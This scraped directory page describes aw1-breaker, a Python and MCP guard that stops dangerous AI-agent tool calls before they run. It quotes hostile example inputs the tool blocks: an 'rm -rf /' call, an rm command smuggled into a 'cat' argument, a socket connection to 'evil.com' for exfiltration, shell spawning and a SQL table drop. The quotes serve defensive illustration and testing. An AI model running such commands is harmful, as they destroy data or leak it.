Skip to main content
Glama

aw1-breaker (v2.0.1)

HOL Verified PyPI Zero Dependencies Glama Score License: Apache-2.0 Latency

Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker 2.0.0 checks before a tool call.

aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.


โšก 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal without installing anything:

uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

Related MCP server: agent-guardrail

๐Ÿ“ฆ Installation

pip install aw1-circuit-breaker

(Zero external dependencies. Pure Python standard library: Python 3.10 to 3.13).


๐Ÿ›ก๏ธ Enterprise Guard (Turnkey 3-Line Integration)

Drop enterprise boundary policies directly onto agent tools using the @guard.protect decorator:

from aw1 import EnterpriseGuard, SecurityViolationError

guard = EnterpriseGuard(
    allowed_tools=["safe_query", "fetch_market_data"],
    max_velocity_per_min=60,
    max_financial_limit=250.0,
    readonly_sql=True
)

@guard.protect(tool_name="safe_query")
def execute_database_query(query: str):
    return db.execute(query)

# Benign queries execute instantly (< 0.2ms)
execute_database_query("SELECT id FROM users LIMIT 1;")

# Adversarial AST injections & SQL drops are halted deterministically
# -> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"

๐Ÿ”Œ Model Context Protocol (MCP) Server

Run directly with Python:

python mcp_server.py

Or via uvx:

uvx mcp_server.py

MCP Client Configuration

Add to your Claude Desktop or Cursor configuration:

{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "python",
      "args": ["mcp_server.py"]
    }
  }
}

โš”๏ธ Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix

Attack Vector

Attacker Strategy

LLM Guardrail Result

AW-1 AST Circuit Breaker

Dynamic Execution

eval(compile(...))

Evades semantic filters

๐Ÿ›‘ Tripped (RESTRICTED_INVOCATION)

Shell Escapes

subprocess.Popen(['bash', ...])

Masked as system task

๐Ÿ›‘ Tripped (UNAUTHORIZED_MODULE_IMPORT)

Lateral Exfiltration

socket.connect(('evil.com', 443))

Disguised as HTTP fetch

๐Ÿ›‘ Tripped (UNAUTHORIZED_MODULE_IMPORT)

SQL Destruction

DROP TABLE users;

Prompt jailbreak bypass

๐Ÿ›‘ Tripped (HALT_SQL_MUTATION_FORBIDDEN)

Run the Showcase

python examples/enterprise_guard_demo.py

โฑ๏ธ Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Target

p50 Latency

p95 Latency

p99 Latency

Status

AST Inspection (Benign Payload)

0.0889 ms

0.1298 ms

0.1645 ms

< 0.2 ms Overhead

AST Inspection (Adversarial Exploit)

0.0520 ms

0.0919 ms

0.1051 ms

Instant Breakout Halt

Shell Argument Injection Guard

0.0051 ms

0.0096 ms

0.0195 ms

Sub-20 ยตs Inspection

Reproduce locally:

python benchmark.py

๐Ÿงฉ Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

๐ŸŒ Production Cloud API & Quota Upgrades

Deploying autonomous agents in production? Route your tool dispatch loops through our hosted API gateway with sub-0.2ms deterministic AST inspection:

Plan

Pricing (USD / BWP)

Quota & Features

Access / Checkout

Developer Sandbox

Free

10,000 requests, HMAC token minting

Code HOL-BREAKER-2026

Developer Pro

$49 / BWP 650 /mo

100,000 audit requests, 1 license key, offline HMAC validation

Upgrade to Pro

Team / Startup

$199 / BWP 2,650 /mo

1,000,000 audit requests, 5 seat keys, Redis state sync

Upgrade to Team

Enterprise Dedicated

$990 / BWP 13,200 /mo

Unlimited seats, dedicated gateway tenant, custom statutory lenses

Enterprise Desk

To activate enterprise quotas, pass your signed bearer token in the Authorization header:

curl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \
  -H "Authorization: Bearer AW1-EXEC-TOKEN-..." \
  -H "Content-Type: application/json" \
  -d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

Available Tools

3 tools
analyze_code_astA
Deconstruct source code or commands into abstract syntax tree (AST) primitives to detect dangerous patterns.
Identifies dynamic evaluations, shell piping, lateral network egress, and destructive operations.

Args:
    code: The source code snippet, query, or command string to statically analyze.
    environment: The syntactic context or execution environment ('python', 'bash', 'sql'). Default is 'python'.

Returns:
    Dictionary containing detected execution primitives, security classification, and containment recommendations.
ParametersJSON Schema
NameRequiredDescriptionDefault
codeYes
environmentNopython

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

A4.1/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the full burden, and it does disclose that the operation is static (no execution) and that it returns detected primitives, a security classification, and containment recommendations. It omits things like performance limits or how strictly classification thresholds are set, but the safety-relevant behavior is communicated.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Front-loaded with purpose followed by clear Args/Returns sections; the two-line opener carries the real signal. The Args/Returns blocks are somewhat formulaic but each line adds information, with no filler sentences.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

An output schema exists so return values needn't be spelled out, and both parameters are documented despite zero schema coverage. For a two-parameter, annotation-free analysis tool this is essentially complete, with only explicit usage routing missing.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 0%, so the description must compensate, and it does: it documents 'code' as the snippet/query/command to analyze and 'environment' as the syntactic context, adding concrete enum-like values ('python', 'bash', 'sql') and the 'python' default that the schema does not provide.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

States a specific verb+resource ('Deconstruct source code or commands into abstract syntax tree primitives') and a concrete goal ('to detect dangerous patterns') with enumerated categories of what it finds. The sibling tools (telemetry, interception) are clearly different, so an agent can identify this as the static-analysis entry point without checking schemas.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The intent ('statically analyze... to detect dangerous patterns') implies when the tool is useful, i.e., security screening of code or commands. However, it gives no explicit when-to-use/when-not guidance, no mention of prerequisites such as when to prefer it over intercept_tool_call, and no exclusions.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

get_circuit_breaker_telemetryB
Retrieve operational status, active defense policies, and telemetry for the AW-1 Circuit Breaker.

Returns:
    Dictionary with engine version, status, registered containment layers, and SLA guarantees.
ParametersJSON Schema
NameRequiredDescriptionDefault

No parameters

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

B3.4/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the full burden, and it does convey that this is a read-only retrieval ("Retrieve"), which is meaningful behavioral signal. However, it discloses nothing about permissions, rate limits, freshness/latency of the telemetry, or whether calling it has any side effects. The "Returns" block largely restates the output schema rather than adding behavioral context.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The definition is short and front-loaded, with the core action stated in the first sentence. The trailing "Returns" block is somewhat redundant given that an output schema exists, but it costs little and does not obscure the purpose.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a zero-parameter, read-only telemetry tool with a dedicated output schema, the description is essentially complete: what it returns is covered by the schema, and the purpose is clear. Only the absence of any usage guidance keeps it from being fully complete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The tool takes zero parameters, so there is nothing for the description to disambiguate; the baseline for a no-parameter tool is 4. Nothing in the description misrepresents the empty input schema.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description pairs a specific verb ("Retrieve") with a specific resource ("operational status, active defense policies, and telemetry for the AW-1 Circuit Breaker"), so an agent knows exactly what it fetches. It does not explicitly differentiate itself from the siblings intercept_tool_call and analyze_code_ast, but those are functionally dissimilar, so the risk of confusion is low.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

There is no statement of when to call this tool versus the siblings, no prerequisites, and no exclusions. The agent must infer usage entirely from the name and resource description.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

intercept_tool_callB
Intercept and evaluate an autonomous AI agent tool execution payload before runtime invocation.
Determines whether the execution is safe or requires immediate containment.

Args:
    actor_id: Unique identifier or name of the calling agent, user, or process.
    tool_name: The target tool, environment, or command type (e.g., 'bash', 'sql', 'python', 'eval').
    payload: The raw code, shell command, query, or parameters to be inspected by the circuit breaker.

Returns:
    Dictionary containing the security verdict ('PERMITTED' or 'HALT_AND_CONTAIN'),
    authorization status, cryptographic execution token (if permitted), risk score,
    and detected AST primitives.
ParametersJSON Schema
NameRequiredDescriptionDefault
payloadYes
actor_idYes
tool_nameYes

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

B3.2/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the full burden. It discloses useful behavior beyond the schema โ€” a verdict of PERMITTED or HALT_AND_CONTAIN, issuance of a cryptographic execution token, risk scoring, and AST primitive detection โ€” but omits side effects (token issuance/mutation), required authorization or credentials, idempotency, and what happens operationally when containment triggers.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness3/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The lead sentence is well front-loaded and the Args/Returns docstring structure is scannable, but it reads as an internal docstring rather than an agent-facing definition, and the Returns block restates information the output schema already provides.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

An output schema exists, so the enumerated return values are redundant rather than necessary. For a security-gating tool with no annotations and three required parameters, the description still leaves out the critical operational facts: whether this call is a mandatory precondition, what authorization it needs, and how it relates to its two sibling tools.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 0%, so the description must compensate, and it does: all three parameters are defined with intent and examples (actor_id as caller identity, tool_name as target type with 'bash'/'sql'/'python'/'eval' examples, payload as the raw artifact to inspect). It lacks format constraints such as max payload size or accepted tool_name values, but the semantic gap is largely closed.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

States a specific verb+resource ('Intercept and evaluate an autonomous AI agent tool execution payload') and the outcome it decides (safe vs. requires containment). It is clear on its own, but never distinguishes itself from siblings like analyze_code_ast, which also inspects code/AST content, leaving overlap for an agent to resolve.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

No guidance on when this must be called versus alternatives. The description implies a pre-invocation gate but never says it is mandatory before every tool execution, nor when to prefer analyze_code_ast or get_circuit_breaker_telemetry instead.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 6 tool updatesv0.1.2
    • Addedanalyze_code_ast
    • Addedget_circuit_breaker_telemetry
    • Removedget_containment_status
    • Removedinspect_python_code
    • Removedinspect_tool_arguments
    • Addedintercept_tool_call
  2. 3 tool updatesv0.1.0
    • First observedget_containment_status
    • First observedinspect_python_code
    • First observedinspect_tool_arguments

TDQS

A3.6/5.0

Scored across 3 tools

Disambiguation4/5

Each tool has a recognizable role: get_circuit_breaker_telemetry reads status, intercept_tool_call gates a runtime execution, and analyze_code_ast performs static analysis. However, intercept_tool_call and analyze_code_ast overlap, since both inspect payloads and both return detected AST primitives/risk, so an agent may hesitate between them.

Naming Consistency5/5

All three names use a consistent snake_case verb_noun pattern (get_..., intercept_..., analyze_...). The convention is predictable and readable across the set.

Tool Count4/5

Three tools is at the low end but reasonable for a focused circuit breaker: status, enforcement, and analysis. It is slightly thin, with no tools for adjacent concerns like policy management or audit history.

Completeness3/5

The core inspect/enforce/observe lifecycle is covered, but the telemetry tool references 'active defense policies' and 'containment layers' with no tool to list, create, or update those policies, and there is no audit/decision-log retrieval. These are notable gaps for a security-gateway domain.

Maintenance

ActivityMaintained
ResponsivenessNo issues

Related MCP Connectors

Related MCP Servers

  • A
    license
    A
    quality
    D
    maintenance
    Static worst-case token-budget analysis for LLM-agent workflows using AST analysis to identify certifiable, default-dependent, non-certifiable, and runaway units, with optional signed budget certificates.
    4
    26 npm
    MIT
  • A
    license
    Not graded
    quality
    A
    maintenance
    A runtime gate for coding agents. Blocks the tool calls that wreck a repo (force-push main, rm -rf, secret exfiltration, CI wipe) and lets normal build and commit work through. Machine-checked git-branch core (z3); the rest is high-precision heuristics. Tested on 3,790 real CI commands, 0 false blocks.
    1
    MIT
  • F
    license
    Not graded
    quality
    C
    maintenance
    Enables autonomous AI agents and MCP clients to route tool calls through a zero-trust firewall that blocks dangerous shell commands, redacts secrets and PII, restricts sensitive file access, and logs verdicts. It provides an MCP interceptor decorator to protect MCP server tools with AST-based command injection checks and allow, block, or redact decisions.
    2
    -